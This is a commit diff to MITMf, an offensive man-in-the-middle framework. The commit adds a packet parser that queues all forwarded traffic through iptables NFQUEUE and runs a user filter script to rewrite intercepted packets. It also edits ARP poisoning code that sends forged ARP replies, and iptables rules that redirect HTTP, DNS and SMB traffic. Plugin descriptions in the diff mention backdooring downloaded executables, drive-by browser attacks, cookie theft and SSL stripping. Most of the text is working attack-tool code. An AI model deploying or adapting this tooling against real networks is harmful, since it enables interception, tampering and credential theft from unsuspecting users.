This commit adds active packet filtering/modification to the framework (replicates etterfilter functionality)

by using netfilterqueue, you can pass a filter using the new -F option, (will be adding an example later)
additionaly removed some deprecated attributes and the --manual-iptables option
This commit is contained in:
byt3bl33d3r 2015-07-27 20:44:23 +02:00
parent 0add358a57
commit 7ec9f7b395
17 changed files with 99 additions and 53 deletions

View file

@ -1,6 +1,6 @@
![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg)
![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg)
![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux%2FOSX-yellow.svg)
![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg)
#MITMf
@ -56,22 +56,18 @@ How to install on Kali
Installation
============
If you're rocking Kali and want the latest version:
- Clone this repository
- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**)
If you're rocking any other Linux distro:
- Clone this repository
- Run the ```other_setup.sh``` script
- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies
- Run the ```setup.sh``` script
- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies
FAQ
===
- **Is Windows supported?**
- No, it will never be supported (so don't ask).
- Nope, don't think it will ever be
- **Is OSX supported?**
- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket!
- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket!
- **I can't install package X because of an error!**
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.

45
core/packetparser.py Normal file
View file

@ -0,0 +1,45 @@
import threading
from core.utils import set_ip_forwarding, iptables
from core.logger import logger
from scapy.all import *
from traceback import print_exc
from netfilterqueue import NetfilterQueue
formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("PacketParser", formatter)
class PacketParser:
def __init__(self, filter):
self.filter = filter
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(1, self.modify)
t = threading.Thread(name='packetparser', target=self.nfqueue.run)
t.setDaemon(True)
t.start()
def modify(self, pkt):
#log.debug("Got packet")
data = pkt.get_payload()
packet = IP(data)
try:
execfile(self.filter)
except Exception:
log.debug("Error occurred in filter")
print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version
pkt.accept() #accept the packet
def stop(self):
self.nfqueue.unbind()
set_ip_forwarding(0)
iptables().flush()

View file

@ -175,7 +175,7 @@ class ARPpoisoner:
try:
targetmac = self.arp_cache[targetip] # see if we already resolved that address
log.debug('{} has already been resolved'.format(targetip))
#log.debug('{} has already been resolved'.format(targetip))
except KeyError:
#This following replaces getmacbyip(), much faster this way
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
@ -211,7 +211,7 @@ class ARPpoisoner:
if targetmac is not None:
try:
log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
#log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e:

View file

@ -86,6 +86,8 @@ class ClientRequest(Request):
del headers['accept-encoding']
log.debug("Zapped encoding")
if self.urlMonitor.caching is False:
if 'if-none-match' in headers:
del headers['if-none-match']

View file

@ -50,6 +50,7 @@ class URLMonitor:
self.faviconReplacement = False
self.hsts = False
self.app = False
self.caching = False
@staticmethod
def getInstance():
@ -75,6 +76,9 @@ class URLMonitor:
else:
return 443
def setCaching(self, value):
self.caching = value
def addRedirection(self, from_url, to_url):
for s in self.redirects:
if from_url in s:

View file

@ -67,17 +67,20 @@ class iptables:
dns = False
http = False
smb = False
nfqueue = False
__shared_state = {}
def __init__(self):
self.__dict__ = self.__shared_state
def Flush(self):
def flush(self):
log.debug("Flushing iptables")
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
self.dns = False
self.http = False
self.smb = False
self.nfqueue = False
def HTTP(self, http_redir_port):
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
@ -93,3 +96,8 @@ class iptables:
log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
self.smb = True
def NFQUEUE(self):
log.debug("Setting iptables NFQUEUE rule")
os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1')
self.nfqueue = True

View file

@ -1,6 +0,0 @@
#!/usr/bin/env bash
git submodule init && git submodule update --recursive
apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto
apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap
pip install Pillow mitmflib

View file

@ -54,11 +54,11 @@ sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')
#Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
@ -93,7 +93,6 @@ reactor.listenTCP(options.listen_port, strippingFactory)
ProxyPlugins().all_plugins = plugins
#All our options should be loaded now, start initializing the plugins
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
for plugin in plugins:
@ -122,6 +121,13 @@ print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
print "|"
if options.filter:
from core.packetparser import PacketParser
pparser = PacketParser(options.filter)
pparser.start()
print "|_ PacketParser online"
print "| |_ Applying filter {} to incoming packets".format(options.filter)
#Start mitmf-api
from core.mitmfapi import mitmfapi
print "|_ MITMf-API online"
@ -149,6 +155,9 @@ print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode
#start the reactor
reactor.run()
print "\n"
if options.filter:
pparser.stop()
shutdown()

View file

@ -29,7 +29,6 @@ class AppCachePlugin(Plugin):
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options

View file

@ -30,7 +30,6 @@ class BrowserSniper(BrowserProfiler, Plugin):
optname = "browsersniper"
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
version = "0.4"
has_opts = False
def initialize(self, options):
self.options = options

View file

@ -30,7 +30,6 @@ class FerretNG(Plugin):
optname = "ferretng"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
version = "0.1"
has_opts = True
def initialize(self, options):
self.options = options

View file

@ -80,7 +80,6 @@ class FilePwn(Plugin):
desc = "Backdoor executables being sent over http using bdfactory"
tree_info = ["BDFProxy v0.3.2 online"]
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''

View file

@ -28,7 +28,6 @@ class Responder(Plugin):
desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''

View file

@ -23,12 +23,10 @@ class Spoof(Plugin):
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.manualiptables = options.manualiptables
self.protocol_instances = []
from core.utils import iptables, shutdown, set_ip_forwarding
@ -74,7 +72,6 @@ class Spoof(Plugin):
from core.servers.dns.DNSchef import DNSChef
self.tree_info.append('DNS spoofing enabled')
if not options.manualiptables:
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])
@ -83,7 +80,6 @@ class Spoof(Plugin):
set_ip_forwarding(1)
if not options.manualiptables:
if iptables().http is False:
iptables().HTTP(options.listen_port)
@ -109,7 +105,6 @@ class Spoof(Plugin):
if hasattr(protocol, 'stop'):
protocol.stop()
if not self.manualiptables:
iptables().Flush()
iptables().flush()
set_ip_forwarding(0)

View file

@ -25,17 +25,14 @@ class SSLstripPlus(Plugin):
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_info = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
from core.sslstrip.URLMonitor import URLMonitor
from core.servers.dns.DNSchef import DNSChef
from core.utils import iptables
if not options.manualiptables:
if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port'])
@ -44,6 +41,5 @@ class SSLstripPlus(Plugin):
def on_shutdown(self):
from core.utils import iptables
if not self.manualiptables:
if iptables().dns is True:
iptables().Flush()
iptables().flush()

2
requirements.txt Normal file
View file

@ -0,0 +1,2 @@
git+git://github.com/kti/python-netfilterqueue
mitmflib